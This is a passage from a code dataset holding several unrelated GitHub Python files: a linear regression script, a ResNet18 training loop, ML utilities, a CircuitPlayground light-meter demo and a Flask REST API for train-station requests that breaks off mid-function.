len(elem) == 0:\n                    info += f\"-> {elem}\\n\"\n\n        return info\n\n    def show_grafic(self, type):\n        prueba = {\"Cantidad que entraron a la página\" : self.df_information[\"veces_estudiante_interaccion\"][0],\n            \"Estudiantes registrados\" : self.df_students.shape[0]} if type == 1 else {\"Estudiantes\" : self.df_students.shape[0],\n            \"Voluntareados\" : self.df_volunnteering.shape[0],\n            \"Instituciones\" : self.df_institutions.shape[0]}\n\n        dates = list(prueba.keys())\n        values = list(prueba.values())\n\n        plt.bar(dates, values, color = \"red\", width = 0.4)\n\n        plt.title(\"Estudiantes ingresados\")\n        plt.ylabel(\"Cantidad Control\")\n        plt.xlabel(\"Tipo de interacción\")\n        plt.show()        \n","repo_name":"CrisLayB/ProyectoHIODS","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15703393562","text":"import numpy as np\n\nn = 2\nN = 10\n\nxes = np.random.random_sample((N, n))  # N массивов по n в длину\nyes = np.random.random_sample((N,))  # Один длинный массив длины N\n\n\nprint(xes)\nprint(\"xes\")\nprint(yes)\nprint(\"yes\")\ny_mean = np.sum(yes) / N  # средний от всех y <y>\n\n# x1_mean = np.sum(xes.transpose()[0]) / N\n# x2_mean = np.sum(xes.transpose()[1]) / N\n\n# 1 относится к тому, что массив получится одномерный\nx_1_means = np.array(\n    [sum(xes.transpose()[i]) / N for i in range(n)])  # считаем среднее от всех координат x по отдельности. <x_i>\n\nxy_1_means = np.array(\n    [np.sum(yes * xes.transpose()[i_s]) / N for i_s in range(n)]) # <yx_i>\n\n# 2 относится к тому, что массив получится двумерный. Получается матричка размера n на n.\nx_2_means = np.array([np.array([\n    np.sum(xes.transpose()[i] * xes.transpose()[i_s]) / N\n    for i in range(n)]) for i_s in range(n)]) # <x_ix_is>\n\n\ndef matrix_function(i, i_s):\n    if i_s == 0:\n        # мы попали в самое первое уравнение\n        if i == 0:\n            return 1\n        else:\n            return x_1_means[i - 1]\n    else:\n        # мы попали в более сложный случай\n        if i == 0:\n            return x_1_means[i_s - 1]\n        else:\n            return x_2_means[i_s - 1][i - 1]\n\n\ndef right_part_function(i_s):\n    if i_s == 0:\n        return y_mean\n    else:\n        return xy_1_means[i_s - 1]\n\n# n+1 поскольку у нас 1ое уравнение есть и все остальные, которых n\n\n# для нахождения a_0 и a_i нужно будет обращать main_matrix\nmain_matrix = np.array([np.array([matrix_function(i, i_s) for i in range(n + 1)]) for i_s in range(n + 1)])\n# напишем же правую часть уравнения\nright_part = np.array([right_part_function(i_s) for i_s in range(n + 1)])\n# Это строчка вида [a_0, a_1, a_2, ...]\nour_result = np.linalg.solve(main_matrix, right_part)\nprint(our_result)","repo_name":"AlexandraKalinina/vkr","sub_path":"liner.py","file_name":"liner.py","file_ext":"py","file_size_in_byte":2192,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33427935330","text":"import os\nimport sys\nsys.path.append(\".\")\n\nimport torch\nfrom torch.utils.data import DataLoader, random_split\n\nfrom ImageAestheticsGANs.AADB.AADB import AADB_binaries\nfrom tqdm import tqdm\nfrom ImageAestheticsGANs.models.ResNet18 import RegressionNetwork\nimport torch.nn as nn\nfrom ImageAestheticsGANs.loss_functions.focal_loss import FocalLoss\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Arguments for training loop\")\nparser.add_argument('--batch_size', type=int, help=\"Number of batches\")\nparser.add_argument('--epochs', type=int, default=200, help=\"Number of epochs\")\nparser.add_argument('--image_size', type=int,default=64, help=\"Image dimensions\")\nparser.add_argument('--load', type=bool, default=False, help=\"Loading model?\")\nparser.add_argument('--lr', type=float, default=0.0002, help=\"Learning rate\")\nparser.add_argument('--ckpt', type=str, help=\"Checkpoint for loading\")\nparser.add_argument('--beta', type=float, default=0.5, help=\"Beta for Adam optimizer\")\nparser.add_argument('--optim', type=str, default='sgd', help=\"Optimizer for the algorithm (adam/sgd)\")\nparser.add_argument('--criterion', type=str, default='bcelogits', help=\"Loss function (cross/bcelogits/focal)\")\nparser.add_argument('--results', type=str, help=\"Results folder\")\nargs = parser.parse_args()\n\nbatch_size = args.batch_size\nepochs = args.epochs\nload = args.load\nckpt = args.ckpt\nlr = args.lr\nbeta = args.beta\nimage_size = args.image_size\n\ndata_path = 'F:\\Projects\\Disertatie\\ImageAestheticsGANs\\AADB'\n\naadb = AADB_binaries(data_path, image_size)\naadb_test = AADB_binaries(data_path, image_size, test=True)\nn_classes = aadb.get_num_classes()\n\nval_size = 500\ntrain_size = len(aadb) - val_size\n\ntrain_ds, val_ds = random_split(aadb, [train_size, val_size])\ntrain_dl = DataLoader(train_ds, batch_size, shuffle=True, num_workers=0, pin_memory=True, drop_last=True)\nvalid_dl = DataLoader(val_ds, batch_size, num_workers=0, pin_memory=True)\n\n\ndef get_default_device():\n    '''Pick GPU if available'''\n    if torch.cuda.is_available():\n        return torch.device('cuda')\n    else:\n        return torch.device('cpu')\n\n\ndef to_device(data, device):\n    '''Move tensors to chosen device'''\n    if isinstance(data, (list, tuple)):\n        return [to_device(x, device) for x in data]\n    return data.to(device, non_blocking=True).to(torch.float32)\n\n\nclass DeviceDataLoader():\n    def __init__(self, dl, device):\n        self.dl = dl\n        self.device = device\n\n    def __iter__(self):\n        for b in self.dl:\n            yield to_device(b, self.device)\n\n    def __len__(self):\n        return len(self.dl)\n\n\ndevice = get_default_device()\ntrain_dl = DeviceDataLoader(train_dl, device)\nvalid_dl = DeviceDataLoader(valid_dl, device)\n\nif args.criterion == \"bcelogits\":\n    criterion = nn.BCEWithLogitsLoss()\nelif args.criterion == \"focal\":\n    criterion = FocalLoss()\nelif args.criterion == \"cross\":\n    criterion = nn.CrossEntropyLoss()\n\nmodel = RegressionNetwork(backbone='resnet18', num_attributes=n_classes, pretrained=True)\nmodel = model.to('cuda')\n\nif args.optim == 'adam':\n    opt = torch.optim.Adam(model.parameters(), lr=lr, betas=(beta, 0.999))\nelif args.optim == 'sgd':\n    opt = torch.optim.SGD(params=model.parameters(), lr=lr, momentum=0.9)\n\nif load:\n    print(\"Loading checkpoint...\")\n\n    checkpoint = torch.load(ckpt)\n    last_epoch = checkpoint['epoch'] + 1\n\n    train_losses = checkpoint['train_losses']\n    val_losses = checkpoint['val_losses']\n\n    loss = train_losses[-1]\n\n    model.load_state_dict(checkpoint['model'])\n    opt.load_state_dict(checkpoint['optimizer'])\n    model.eval()\n\nelse:\n    last_epoch = 0\n\n    train_losses = []\n    val_losses = []\n\nfor epoch in range(last_epoch, epochs):\n\n    # Training Phase\n    model.train()\n\n    pbar = tqdm(enumerate(train_dl), total=len(train_dl))\n    for batch, (images, labels) in pbar:\n        opt.zero_grad()\n\n        outputs = model(images)\n        loss = criterion(outputs, labels)\n        loss.backward()\n\n        # predicted = outputs.detach() > 0.5\n\n        # correct = (predicted == labels.type(torch.uint8))\n\n        # accuracy = correct.sum().item() / (len(correct) * n_classes)\n\n        opt.step()\n\n        # pbar.set_description(\"Epoch {}, Loss: {:.4f}, Accuracy: {:.4f}\".format(\n        #     epoch, float(loss), float(accuracy)))\n        pbar.set_description(\"Epoch {}, Loss: {:.4f}\".format(\n            epoch, float(loss)))\n    train_losses.append(loss)\n\n    # Evaluation Phase\n    model.eval()\n    correct = 0\n    total = 0\n    pbar = tqdm(enumerate(valid_dl), total=len(valid_dl))\n    for batch, (images, labels) in pbar:\n        with torch.no_grad():\n            outputs = model(images)\n            val_loss = loss = criterion(outputs, labels)\n\n            predicted = outputs > 0.5\n\n            correct += (predicted == labels.type(torch.uint8)).sum().item()\n            total += len(labels) * n_classes\n\n    accuracy = correct / total\n    val_losses.append(val_loss)\n    print('Accuracy of all test images: %.3f' % (accuracy * 100))\n    if epoch % 10 == 0:\n        filename = \"{}_epoch_{}_accuracy_{:.4f}_.pt\".format('AADB', epoch, accuracy)\n        torch.save({'epoch': epoch,\n                    'model': model.state_dict(),\n                    'optimizer': opt.state_dict(),\n                    'train_losses': train_losses,\n                    'val_losses': val_losses\n                    }, os.path.join(args.results, filename))\n    load = False\n","repo_name":"PetreBogdan/ImageAestheticGANs","sub_path":"ImageAestheticsGANs/resnet18_train.py","file_name":"resnet18_train.py","file_ext":"py","file_size_in_byte":5430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35067457979","text":"import inspect\nimport tempfile\nimport os.path\nimport urllib.request\nimport textwrap\nfrom collections import namedtuple\nimport random\nimport numpy as np\nimport uuid\nfrom typing import List\nimport yaml\nimport re\nimport os\nimport sys\n\nSPLITS = ('train', 'val', 'test')\n\n\nclass VergeMLError(Exception):\n\n    def __init__(self, message, suggestion=None, help_topic=None, hint_type=None, hint_key=None):\n        super().__init__(message)\n        self.suggestion = suggestion\n        self.message = message\n        self.hint_type = hint_type\n        self.hint_key = hint_key\n        self.help_topic = help_topic\n    \n    def __str__(self):\n        if self.suggestion:\n            if len(self.message + self.suggestion) < 80:\n                return self.message + \" \" + self.suggestion\n            else:\n                return self.message + \"\\n\" + self.suggestion\n        else:\n            return self.message\n\n\ndef wrap_text(text):\n    # TODO check terminal width\n    res = []\n    for para in text.split(\"\\n\\n\"):\n        if para.splitlines()[0].strip().endswith(\":\"):\n            res.append(para)\n        else:\n            res.append(textwrap.fill(para, drop_whitespace=True, fix_sentence_endings=True))\n    return \"\\n\\n\".join(res)\n\n\ndef print_text(text):\n    print(wrap_text(text))\n\n\n_Intro = namedtuple('_Intro', ['args', 'defaults', 'types'])\n\n\ndef introspect(call):\n    spec = inspect.getfullargspec(call)\n    args = spec.args\n    defaults = dict(zip(reversed(spec.args), reversed(spec.defaults or [])))\n    types = spec.annotations\n    return _Intro(args, defaults, types)\n\n\n# taken from here: https://www.python-course.eu/levenshtein_distance.php\ndef _iterative_levenshtein(s, t):\n    \"\"\" \n        iterative_levenshtein(s, t) -> ldist\n        ldist is the Levenshtein distance between the strings \n        s and t.\n        For all i and j, dist[i,j] will contain the Levenshtein \n        distance between the first i characters of s and the \n        first j characters of t\n    \"\"\"\n    rows = len(s)+1\n    cols = len(t)+1\n    dist = [[0 for x in range(cols)] for x in range(rows)]\n    # source prefixes can be transformed into empty strings \n    # by deletions:\n    for i in range(1, rows):\n        dist[i][0] = i\n    # target prefixes can be created from an empty source string\n    # by inserting the characters\n    for i in range(1, cols):\n        dist[0][i] = i\n        \n    for col in range(1, cols):\n        for row in range(1, rows):\n            if s[row-1] == t[col-1]:\n                cost = 0\n            else:\n                cost = 1\n            dist[row][col] = min(dist[row-1][col] + 1,      # deletion\n                                 dist[row][col-1] + 1,      # insertion\n                                 dist[row-1][col-1] + cost) # substitution\n \n    return dist[row][col]\n\ndef did_you_mean(candidates, value, fmt=\"'{}'\"):\n    candidates = list(candidates)\n    names = list(sorted(map(lambda n: (_iterative_levenshtein(value, n), n), candidates)))\n    names = list(filter(lambda dn: dn[0] <= 2, names))\n    return 'Did you mean ' + fmt.format(names[0][1]) + '?' if names else None\n\n\ndef dict_set_path(d, path, value):\n    c = d\n    path = path.split(\".\")\n    for key in path[:-1]:\n        c = c.setdefault( key, {} )\n    c[path[-1]] = value\n\ndef dict_del_path(d, path):\n    if isinstance(path, str):\n        path = path.split(\".\")\n    if len(path) == 1:\n        del[d[path[0]]]\n    else:\n        p, *rest = path\n        dict_del_path(d[p], rest)\n        if not d[p]:\n            del d[p]\n\ndef dict_has_path(d, path):\n    c = d\n    for p in path.split(\".\"):\n        if isinstance(c, dict) and p in c:\n            c = c[p]\n        else:\n            return False\n    return True\n\n_DEFAULT = object()\ndef dict_get_path(d, path, default=_DEFAULT):\n    c = d\n    for p in path.split(\".\"):\n        if p in c:\n            c = c[p]\n        elif default != _DEFAULT:\n            return default\n        else:\n            raise KeyError(path)\n    return c\n\ndef dict_merge(dict1, dict2):\n    if not isinstance(dict1, dict) or not isinstance(dict2, dict):\n        return dict2\n    for k in dict2:\n        if k in dict1:\n            dict1[k] = dict_merge(dict1[k], dict2[k])\n        else:\n            dict1[k] = dict2[k]\n    return dict1\n\ndef dict_paths(d, path=None):\n    res = []\n    if path:\n        if not dict_has_path(d, path):\n            return res\n        value = dict_get_path(d, path)\n    else:\n        value = d\n    if not isinstance(d, dict):\n        return res\n    def _collect_path(d, path):\n        for k, v in d.items():\n            npath = f\"{path}.{k}\" if path is not None else k\n            if isinstance(v, dict):\n                _collect_path(v, npath)\n            else:\n                res.append(npath)\n    _collect_path(value, path)\n    return res\n\n\ndef parse_ai_names(argv):\n    names = []\n    for part in argv:\n        if re.match(\"^@[a-zA-Z0-9_-]+$\", part):\n            names.append(part[1:])\n        else:\n            break\n    rest = argv[len(names):]\n    return names, rest\n\ndef parse_split(value):\n    \"\"\"Decodes the split value.\n    \n    Returns a tuple (type, value) where type is either perc, num or dir set.\n    \"\"\"\n    assert isinstance(value, (int, str))\n\n    if isinstance(value, int):\n        return ('num', value)\n    elif value.endswith(\"%\"):\n        return ('perc', float(value.rstrip(\"%\").strip()))\n    elif value.isdigit():\n        return ('num', int(value))\n    else:\n        return ('dir', value)\n\ndef format_info_text(text, indent=0, width=70):\n    text = text.strip(\"\\n\")\n    res = []\n    for line in text.splitlines():\n        if line.startswith(\"  \"):\n            res.append(line)\n        elif line.strip() == \"\":\n            res.append(line)\n        else:\n            res.extend(textwrap.wrap(line, width=width-indent))\n    if indent:\n        indstr = str(' ' * indent)\n        res = list(map(lambda l: indstr + l, res))\n    return \"\\n\".join(res)\n","repo_name":"tspannhw/vergeml","sub_path":"vergeml/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"35515066025","text":"\"\"\"\nThis example uses the light sensor on the CPB, located net to the picture of the eye on the board.\nOnce you have the library loaded, try shining a flashlight on your CP to watch the number of\nNeoPixels lit up increase, or try covering up the light sensor to watch the number decrease.\n\"\"\"\nimport time\nfrom adafruit_circuitplayground import cp\n\ncp.pixels.auto_write = False\ncp.pixels.brightness = 0.3\n\n\ndef scale_range(value):\n    \"\"\"Scale a value from 0-320 (light range) to 0-9 (NeoPixel range, 10 total LEDs).\n    Allows remapping light value to pixel position for light meter demo.\"\"\"\n    return round(value / 320 * 10)\n\n\nwhile True:\n    # light value remapped to pixel position\n    peak = scale_range(cp.light)\n    print(cp.light)\n    print(int(peak))\n\n    for i in range(0, 10, 1):\n        if i <= peak:\n            cp.pixels[i] = (0, 255, 255)\n        else:\n            cp.pixels[i] = (0, 0, 0)\n    cp.pixels.show()\n    time.sleep(0.05)\n","repo_name":"kattni/PyCon2023","sub_path":"Circuit_Playground_Bluefruit/Circuit_Playground_Bluefruit_cp_Library_Examples/cp_light_neopixels.py","file_name":"cp_light_neopixels.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"43052922104","text":"import sys\nimport time\nfrom mongoengine import *\nimport datetime as dt\nimport json\nfrom flask_cors import CORS\nfrom flask_restful import Resource, Api, reqparse\nfrom flask import Flask\nsys.path.append(\"..\")\n\nimport utils.credentials\nfrom database.Request import Request as dbRequest\nfrom database.Station import Station as dbStation\nfrom database.Proposition import Proposition as dbProposition\nfrom database.TrainRecord import TrainRecord as dbTrainRecord\n\n\napp = Flask(__name__)\napi = Api(app)\nCORS(app)\n\n\n# Requests\n# shows a list of requests and lets you POST to add new requests in the database\nclass Requests(Resource):\n\n    @staticmethod\n    def get():\n        \"\"\"\n        Get the list of all the requests registered in the database.\n        :return: A list of JSON each containing a request.\n        \"\"\"\n        start = time.time()\n        db_requests = dbRequest.objects\n        requests = json.loads(db_requests.to_json())\n        for k in range(len(requests)):\n            requests[k]['date'] = str((db_requests[k]['date']))\n            requests[k]['destination'] = db_requests[k]['destination'].name\n            requests[k]['origin'] = db_requests[k]['origin'].name\n        end = time.time()\n        print(\"GET /requests took \"+str(end-start)+\" s\")\n        return requests, 200\n\n    @staticmethod\n    def post():\n        \"\"\"\n        Add a NEW request that will be registered in the database.\n        :param: Arguments of the POST request.\n                origin: Code of the origin station (i.e. FRADI) - Required\n                destination: Code of the destination station (i.e. FRAFJ) - Required\n                date: Date of the first request with the format %Y-%m-%d %H:%M:%S - Required\n                gapTime: Number of days you want to execute the request - Default is 0\n        :return: A JSON file of the request newly registered.\n        \"\"\"\n\n        # requests parser\n        requests_parser = reqparse.RequestParser()\n        requests_parser.add_argument(\n            name='origin', type=str, required=True, help=\"The code of the origin station\")\n        requests_parser.add_argument(name='destination', type=str, required=True,\n                                     help=\"The  code of the destination station\")\n        requests_parser.add_argument(name='date', type=str, required=True,\n                                     help=\"The date of the first request; format : '%Y-%m-%d %H:%M:%S'\")\n        requests_parser.add_argument(name='gapTime', default=0, type=int,\n                                     help=\"The number of days you want to execute the request; 0 just for once\")\n        requests_args = requests_parser.parse_args()\n\n        # gets the corresponding Station object\n        origin_station = dbStation().get_station_by_code(\n            requests_args['origin'])\n        destination_station = dbStation().get_station_by_code(\n            requests_args['destination'])\n\n        if requests_args['gapTime'] == 0:\n            unique_date = True\n        else:\n            unique_date = False\n\n        # checks if the request already exists in the database\n        request_exist = dbRequest.objects(origin=origin_station, destination=destination_station,\n                                          uniqueDate=unique_date,\n                                          date=dt.datetime.strptime(\n                                              requests_args['date'], \"%Y-%m-%d %H:%M:%S\"),\n                                          gapTime=requests_args['gapTime']).first() is not None\n\n        if request_exist:\n            request_id = dbRequest.objects(origin=origin_station,\n                                           destination=destination_station,\n                                           uniqueDate=unique_date,\n                                           date=dt.datetime.strptime(\n                                               requests_args['date'], \"%Y-%m-%d %H:%M:%S\"),\n                                           gapTime=requests_args['gapTime']).first().id\n            return \"The request already exists at id {}\".format(request_id), 208\n        else:\n            request = dbRequest(origin=origin_station,\n                                destination=destination_station,\n                                uniqueDate=unique_date,\n                                date=dt.datetime.strptime(\n                                    requests_args['date'], \"%Y-%m-%d %H:%M:%S\"),\n                                gapTime=requests_args['gapTime'])\n            request.save()\n\n            request = json.loads(request.to_json())\n            request['date'] = requests_args['date']\n            request['destination'] = destination_station.name\n            request['origin'] = origin_station.name\n            return request, 201\n\n\napi.add_resource(Requests, '/requests')\n\n\n# Request\n# shows a single request item and lets you PUT or DELETE a request item in the database\nclass Request(Resource):\n\n    @staticmethod\n    def get(request_id):\n        \"\"\"\n        Get a single request registered in the database.\n        :param: request_id: Id of the request to get\n        :return: A JSON file of the request.\n        \"\"\"\n        if dbRequest.objects(id=request_id).first() is not None:\n            db_request = dbRequest.objects(id=request_id).first()\n            request = json.loads(db_request.to_json())\n            request['date'] = str((db_request['date']))\n            request['destination'] = db_request['destination'].name\n            request['origin'] = db_request['origin'].name\n            return request, 200\n        else:\n            return \"Request not found at this id {}\".format(request_id), 404\n\n    @staticmethod\n    def delete(request_id):\n        \"\"\"\n        Delete from the database a single request registered in the database.\n        :param: request_id: Id of the request to delete\n        :return: 204.\n        \"\"\"\n        dbRequest.objects(id=request_id).delete()\n        return \"\", 204\n\n    @staticmethod\n    def put(request_id):\n        \"\"\"\n        Update a request that is registered in the database.\n        :param: Arguments of the PUT request.\n        origin: Code of the origin station (i.e. FRADI) - Default is the request's one\n        destination: Code of the destination station (i.e. FRAFJ) - Default is the request's one\n        date: Date of the first request with the format %Y-%m-%d %H:%M:%S - Default is the request's one\n        gapTime: Number of days you want to execute the request - Default is the request's one\n        :return: A JSON file of the request newly updated.\n        \"\"\"\n\n        # request parser\n        request_parser = reqparse.RequestParser()\n        request_parser.add_argument(\n            name='origin', type=str, help=\"The code of the origin station\")\n        request_parser.add_argument(\n            name='destination', type=str, help=\"The  code of the destination station\")\n        request_parser.add_argument(name='date', type=str,\n                                    help=\"The date of the first request; format : '%Y-%m-%d %H:%M:%S'\")\n        request_parser.add_argument(name='gapTime', type=int,\n                                    help=\"The number of days you want to execute the request; 0 just for once\")\n        request_args = request_parser.parse_args()\n\n        request = dbRequest.objects(id=request_id).first()\n\n        # get default values\n        if request_args['origin'] is None:\n            request_args['origin'] = request.origin.code\n        if request_args['destination'] is None:\n            request_args['destination'] = request.destination.code\n        if request_args['date'] is None:\n            request_args['date'] = dt.datetime.strftime(\n                request.date, \"%Y-%m-%d %H:%M:%S\")\n        if request_args['gapTime'] is None:\n            request_args['gapTime'] = request.gapTime\n\n        if request_args['gapTime'] == 0:\n            unique_date = True\n        else:\n            unique_date = False\n\n        origin_station = dbStation().get_station_by_code(\n            request_args['origin'])\n        destination_station = dbStation().get_station_by_code(\n            request_args['destination'])\n\n        dbRequest.objects(id=request_id).update_one(set__origin=origin_station,\n                                                    set__destination=destination_station, set__uniqueDate=unique_date,\n                                                    set__date=dt.datetime.strptime(request_args['date'],\n                                                                                   \"%Y-%m-%d %H:%M:%S\"),\n                                                    set__gapTime=request_args['gapTime'])\n\n        db_request = dbRequest.objects(id=request_id).first()\n        request = json.loads(db_request.to_json())\n        request['date'] = str((db_request['date']))\n        request['destination'] = db_request['destination'].name\n        request['origin'] = db_request['origin'].name\n        return request, 200\n\n\napi.add_resource(Request, '/requests/<string:request_id>')\n\n\n# Stations\n# shows a list of stations and lets you POST to add new stations in the database\nclass Stations(Resource):\n    @staticmethod\n    def get():\n        \"\"\"\n        Get the list of all the stations registered in the database.\n        :return: A list of JSON each containing a station.\n        \"\"\"\n\n        # stations parser\n        stations_parser = reqparse.RequestParser()\n        stations_parser.add_argument(\n            name='name', type=str, help=\"The name of the station\")\n        stations_args = stations_parser.parse_args()\n\n        start = time.time()\n        if stations_args['name'] is not None:\n            stations = json.loads(dbStation.search_station(stations_args['name']).order_by(\"name\").to_json())\n        else:\n            stations = json.loads(dbStation.objects.order_by(\"name\").to_json())\n        end = time.time()\n        print(\"GET /stations took \"+str(end-start)+\" s\")\n        return stations, 200\n\n    @staticmethod\n    def post():\n        \"\"\"\n        Add a NEW station that will be registered in the database.\n        :param: Arguments of the POST request.\n                code: Code of the station (i.e. FRAFJ) - Required\n                name: Name of the station - Required\n        :return: A JSON file of the station newly registered.\n        \"\"\"\n\n        # stations parser\n        stations_parser = reqparse.RequestParser()\n        stations_parser.add_argument(\n            name='code', type=str, required=True, help=\"The  code of the station (i.e. FRAFJ)\")\n        stations_parser.add_argument(\n            name='name', type=str, required=True, help=\"The name of the station\")\n        stations_args = stations_parser.parse_args()\n\n        # checks if the station already exists in the database\n        station_exist = dbStation.objects(\n            code=stations_args['code'], name=stations_args['name']).first() is not None\n\n        if station_exist:\n            station_id = dbStation.objects(\n                code=stations_args['code'], name=stations_args['name']).first().id\n            return \"The station already exists at id {}\".format(station_id), 208\n        else:\n            station = dbStation(\n                code=stations_args['code'], name=stations_args['name'])\n            station.save()\n            return json.loads(station.to_json()), 201\n\n\napi.add_resource(Stations, '/stations')\n\n\n# Station\n# shows a single station item and lets you PUT or DELETE a station item in the database\nclass Station(Resource):\n\n    @staticmethod\n    def get(station_id):\n        \"\"\"\n        Get a single station registered in the database.\n        :param: station_id: Id of the station to get\n        :return: A JSON file of the station.\n        \"\"\"\n        if dbStation.objects(id=station_id).first() is not None:\n            return json.loads(dbStation.objects(id=station_id).first().to_json()), 200\n        else:\n            return \"Station not found at this id {}\".format(station_id), 404\n\n    @staticmethod\n    def delete(station_id):\n        \"\"\"\n        Delete from the database a single station registered in the database.\n        :param: request_id: Id of the station to delete\n        :return: 204.\n        \"\"\"\n        dbStation.objects(id=station_id).delete()\n        return \"\", 204\n\n    @staticmethod\n    def put(station_id):\n        \"\"\"\n        Update a station that is registered in the database.\n        :param: code: Code of the origin station (i.e. FRADI) - Default is the station's one\n                name: Code of the destination station (i.e. FRAFJ) - Default is the station's one\n        :return: A JSON file of the station newly updated.\n        \"\"\"\n\n        # station parser\n        station_parser = reqparse.RequestParser()\n        station_parser.add_argument(\n            name='code', type=str, help=\"The  code of the station (i.e. FRAFJ)\")\n        station_parser.add_argument(\n            name='name', type=str, help=\"The name of the station\")\n        station_args = station_parser.parse_args()\n\n        station = dbStation.objects(id=station_id).first()\n\n        # get default values\n        if station_args['code'] is None:\n            station_args['code'] = station.code\n        if station_args['name'] is None:\n            station_args['name'] = station.name\n\n        dbStation.objects(id=station_id).update_one(\n            set__code=station_args['code'], set__name=station_args['name'])\n        return json.loads(dbStation.objects(id=station_id).first().to_json()), 200\n\n\napi.add_resource(Station, '/stations/<string:station_id>')\n\n\n# Propositions\n# shows a list of propositions and lets you POST to add new propositions in the database\nclass Propositions(Resource):\n    @staticmethod\n    def get():\n        \"\"\"\n        Get the list of all the propositions registered in the database.\n        :return: A list of JSON each containing a proposition.\n        \"\"\"\n        return json.loads(dbProposition.objects.to_json()), 200\n\n    # @staticmethod\n    # def post():\n    #     \"\"\"\n    #     Add a NEW proposition that will be registered in the database.\n    #     :param: Arguments of the POST request.\n    #             amount: Price of the proposition - Required\n    #             remainingSeat: Number of remaining seats for the proposition - Required\n    #     :return: A JSON file of the proposition newly registered.\n    #     \"\"\"\n\n    #     # propositions parser\n    #     propositions_parser = reqparse.RequestParser()\n    #     propositions_parser.add_argument(name='amount', type=int, required=True, help=\"The  price of the proposition\")\n    #     propositions_parser.add_argument(name='remainingSeat', type=float, required=True,\n    #                                      help=\"The  number of remaining seats for the proposition\")\n    #     propositions_args = propositions_parser.parse_args()\n\n    #     # checks if the proposition already exists in the database\n    #     proposition_exist = dbProposition.objects(amount=propositions_args['amount'],\n    #                                               remainingSeat=propositions_args['remainingSeat']).first() is not None\n    #     print(proposition_exist, dbProposition.objects(amount=propositions_args['amount'],\n    #                                                    remainingSeat=propositions_args['remainingSeat']))\n    #     if proposition_exist:\n    #         proposition_id = dbProposition.objects(amount=propositions_args['amount'],\n    #                                                remainingSeat=propositions_args['remainingSeat']).first().id\n    #         return \"The proposition already exists at id {}\".format(proposition_id), 208\n    #     else:\n    #         proposition = dbProposition(amount=propositions_args['amount'],\n    #                                     remainingSeat=propositions_args['remainingSeat'])\n    #         proposition.save()\n    #         return json.loads(proposition.to_json()), 201\n\n\napi.add_resource(Propositions, '/propositions')\n\n\n# Proposition\n# shows a single proposition item and lets you PUT or DELETE a proposition item in the database\nclass Proposition(Resource):\n\n    @staticmethod\n    def get(proposition_id):\n        \"\"\"\n        Get a single proposition registered in the database.\n        :param: proposition_id: Id of the proposition to get\n        :return: A JSON file of the proposition.\n        \"\"\"\n        if dbProposition.objects(id=proposition_id).first() is not None:\n            return json.loads(dbProposition.objects(id=proposition_id).first().to_json()), 200\n        else:\n            return \"Proposition not found at this id {}\".format(proposition_id), 404\n\n    @staticmethod\n    def delete(proposition_id):\n        \"\"\"\n        Delete from the database a single proposition registered in the database.\n        :param: proposition_id: Id of the proposition to delete\n        :return: 204.\n        \"\"\"\n        dbProposition.objects(id=proposition_id).delete()\n        return \"\", 204\n\n    # @staticmethod\n    # def put(proposition_id):\n    #     \"\"\"\n    #     Update a proposition that is registered in the database.\n    #     :param: amount: Price of the proposition - Default is the proposition's one\n    #             remainingSeat: Number of remaining seats for the proposition - Default is the proposition's one\n    #     :return: A JSON file of the proposition newly updated.\n    #     \"\"\"\n\n    #     # proposition parser\n    #     proposition_parser = reqparse.RequestParser()\n    #     proposition_parser.add_argument(name='amount', type=int, help=\"The  price of the proposition\")\n    #     proposition_parser.add_argument(name='remainingSeat', type=float,\n    #                                     help=\"The  number of remaining seats for the proposition\")\n    #     proposition_args = proposition_parser.parse_args()\n\n    #     proposition = dbProposition.objects(id=proposition_id).first()\n\n    #     # get default values\n    #     if proposition_args['amount'] is None:\n    #         proposition_args['amount'] = proposition.amount\n    #     if proposition_args['remainingSeat'] is None:\n    #         proposition_args['remainingSeat'] = proposition.remainingSeat\n\n    #     dbProposition.objects(id=proposition_id).update_one(set__amount=proposition_args['amount'],\n    #                                                         set__remainingSeat=proposition_args['remainingSeat'])\n    #     return json.loads(dbProposition.objects(id=proposition_id).first().to_json()), 200\n\n\napi.add_resource(Proposition, '/propositions/<string:proposition_id>')\n\n\n# TrainRecords\n# shows a list of train records in the database\nclass TrainRecords(Resource):\n    @staticmethod\n    def get():\n        \"\"\"\n        Get the list of all the train records registered in the database by page.\n        :param: page: The page you want to get at, 0 to get all pages. Each page contains 3 train records. - Default is 1\n        :return: A list of JSON each containing a train record.\n        \"\"\"\n        start = time.time()\n        # trainrecords parser\n        trainrecords_parser = reqparse.RequestParser()\n        trainrecords_parser.add_argument(\n            name='page', type=int, default=1, help=\"The page you want to get at, 0 to get all pages. Each page contains 3 train records. - Default is 1\")\n        trainrecords_args = trainrecords_parser.parse_args()\n\n        page_id = trainrecords_args['page']\n        offset = 3\n        \n        if not(page_id):\n            db_trainrecords = dbTrainRecord.objects.order_by('departureTime')\n        else:\n            db_trainrecords = dbTrainRecord.objects.order_by('departureTime')[(page_id-1)*offset:page_id*offset]\n        trainrecords = json.loads(db_trainrecords.to_json())\n\n        for k in range(len(trainrecords)):\n            #step1 = time.time()\n            #trainrecords[k]['recordedTime'] = str((db_trainrecords[k]['recordedTime']).isoformat())\n            #step2 = time.time()\n            #print(\"step 1 took {} s\".format(step2-step1))\n            trainrecords[k]['arrivalTime'] = str(\n                (db_trainrecords[k].arrivalTime.isoformat()))\n            #step3 = time.time()\n            #print(\"step 2 took {} s\".format(step3-step2))\n            trainrecords[k]['departureTime'] = str(\n                (db_trainrecords[k].departureTime.isoformat()))\n            #step4 = time.time()\n            #print(\"step 3 took {} s\".format(step4-step3))\n            trainrecords[k]['propositions'] = []\n            for db_propositions in db_trainrecords[k].propositions:\n                content = {}\n                for db_proposition in db_propositions.content:\n                    content[db_proposition.type] = {\n                        'amount': db_proposition.amount, 'seats': db_proposition.remainingSeat}\n                